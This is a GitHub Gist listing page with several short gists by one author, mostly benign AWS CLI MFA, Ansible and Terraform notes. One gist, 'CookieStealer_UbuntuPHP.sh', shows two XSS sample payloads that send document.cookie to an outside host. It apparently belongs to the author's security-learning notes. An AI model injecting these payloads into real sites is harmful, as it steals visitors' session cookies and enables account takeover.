Skip to content

Instantly share code, notes, and snippets.

View pgrabarczyk's full-sized avatar

Patryk Grabarczyk pgrabarczyk

View GitHub Profile
@pgrabarczyk
pgrabarczyk / CookieStealer_UbuntuPHP.sh
Last active September 3, 2021 00:10
MySecurityPath
#!/bin/bash
#
# Sample1:
# <script type="text/javascript">
# document.location='http://1.1.1.1/index.php?p='+document.cookie;
# </script>
# Sample2:
# <script type="text/javascript">
# var xGet = new XMLHttpRequest(); xGet.open("GET", 'http://1.1.1.1/index.php?p='+document.cookie, true); xGet.send(null);
# </script>
@pgrabarczyk
pgrabarczyk / README.md
Last active March 17, 2023 22:09
AWS CLI with MFA

License: MIT

AWS CLI with MFA

To use mfa with CLI you can authenticate using MFA token.

This script first authenticate using profile from default credentials file (/home/username/.aws/credentials)

[my_aws_profile]
@pgrabarczyk
pgrabarczyk / README.md
Created February 1, 2019 13:43
Example of Ansible role using handler (with notify)

Example of Ansible role using handler (with notify)

This ansible role install apache2 then execute handler which restart apache2 service.

File 'handlers-main.yml' should renamed/moved to 'handlers\main.yml'. File 'tasks-main.yml' should be renamed/moved to 'tasks\main.yml'.

@pgrabarczyk
pgrabarczyk / Terraform_AWS_IAM_GROUP.md
Last active January 18, 2019 09:26
Terraform IAM Group with multiple policies

IAM User Group

In this case I'm creating AWS IAM group that have list of policies.

In var.aws_policies_names I keep list of names of AWS managed policies where I allow to use several AWS services. If you want to add another AWS managed policy you need just add it to list in vars.

In policy.json I deny using important admin S3 buckets.